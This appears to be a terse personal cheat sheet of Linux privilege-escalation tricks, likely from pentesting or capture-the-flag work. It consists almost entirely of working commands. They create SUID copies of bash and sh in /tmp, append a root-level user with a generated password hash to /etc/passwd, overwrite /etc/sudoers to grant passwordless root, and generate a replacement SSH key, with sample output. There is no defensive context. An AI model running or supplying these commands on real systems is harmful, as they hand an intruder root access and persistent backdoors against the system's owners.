Tips to become root
cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash
rootbash -p
cp /bin/sh /tmp/sh;chmod u+s /tmp/sh
./sh -p
add root user
[benjamin@dibble tmp]$ openssl passwd -1 -salt lyethar pass123
$1$lyethar$/YpLdL9gB8tiM28MCkQL9/
lyethar:$1$lyethar$/YpLdL9gB8tiM28MCkQL9/:0:0:root:/root:/bin/bash
openssl passwd -1 -salt password password
Then copy that into this
echo 'lyethar:$1$password$Da2mWXlxe6J7jtww12SNG/:0:0:lyethar:/root:/bin/bash' >> /etc/passwd
make urself be able to run root binaries without password
echo "ignite ALL=(root) NOPASSWD: ALL" > /etc/sudoers
Overwrite the id_Rsa key with one of our own.
ssh-keygen -t rsa -N '' -f ~/.ssh/id_rsa
Generating public/private rsa key pair.
Your identification has been saved in /home/kali/.ssh/id_rsa
Your public key has been saved in /home/kali/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:77ufSzZu/0b3gdzFwZOzihQewkazcg5T4qZ19is9l2M kali@kali
The key's randomart image is:
+---[RSA 3072]----+
| .o+ . .|
| . o+oo * |
| B.=o o .=|
| + O .o .o|
| . S...o + .|
| ....+.oo|
| ..++E .+|
| ..+=o. o|
| +==o.o.|
+----[SHA256]-----+
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